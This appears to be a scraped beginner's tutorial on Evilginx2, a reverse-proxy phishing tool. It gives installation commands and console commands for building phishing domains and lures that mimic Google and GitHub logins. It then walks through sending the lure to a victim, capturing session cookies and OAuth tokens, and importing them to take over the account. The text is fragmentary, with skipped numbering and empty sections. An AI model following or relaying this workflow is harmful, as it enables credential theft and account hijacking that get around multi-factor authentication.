Evilginx2 Basics Complete Beginners Guide PHASE NETWORK
Evilginx2 Basics Complete Beginners Guide PHASE NETWORK
## 1. What Is Evilginx2?
---
1. **Proxy Engine**
* Intercepts all HTTP(S) traffic between the victim and a target service.
* Injects JavaScript hooks to capture tokens, cookies, and form data.
2. **Phishing Domain (“Lures”)**
* You register custom domains (e.g. `login-phish.com`) and point them to your
Evilginx2 server.
3. **Configuration “Phishlets”**
* YAML-based modules defining how to proxy each target service (e.g. Google,
Facebook).
* Specify hostnames, paths to rewrite, JS callbacks for token capture, and
session endpoints.
4. **Session Management**
* Once tokens are captured, Evilginx2 packages them as a “session” you can later
import into your browser to assume the victim’s identity.
---
## 3. Prerequisites
---
## 4. Installation
```bash
wget
https://github.com/kgretzky/evilginx2/releases/download/v2.x.x/evilginx_linux_amd64
chmod +x evilginx_linux_amd64
mv evilginx_linux_amd64 /usr/local/bin/evilginx2
```
2. Install certbot:
```bash
sudo apt update && sudo apt install certbot
```
1. Install Go (≥1.16).
2. Clone & build:
```bash
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo cp bin/evilginx2 /usr/local/bin/
```
---
## 5. Initial Configuration
1. **DNS**
```bash
sudo evilginx2
```
3. **Generate TLS Certificates** (in the Evilginx2 console):
```
> config domain phish.com
> config certbot phish.com
> phishlets enable google # example for Google
> lures create google
```
---
## 6. Managing Phishlets
```
> phishlets enable github
> phishlets set github domain gh-phish.com
> phishlets update github
```
* **Disable:** `phishlets disable github`
## 7. Capturing Sessions
```
> lures create google
Lure URL: https://accounts.google.phish.com
```
2. **Send to victim.**
3. **Check sessions:**
```
> sessions
[0] [email protected] – Active
```
4. **Import session into your browser:**
```bash
sessions import 0
```
This will print a browser-bookmarklet or `curl` command that sets the exact
cookies in your browser.
---
```bash
# In Evilginx2 console
> config domain gh-phish.com
> config certbot gh-phish.com
> phishlets enable github
> phishlets set github domain gh-phish.com
> phishlets update github
> lures create github
Lure URL → https://github.com.gh-phish.com/login
```
Send that login link; when the victim logs in, you’ll capture their OAuth tokens
and session cookies—then simply `sessions list` and `sessions import <ID>` to take
over.
---
* **Limitations**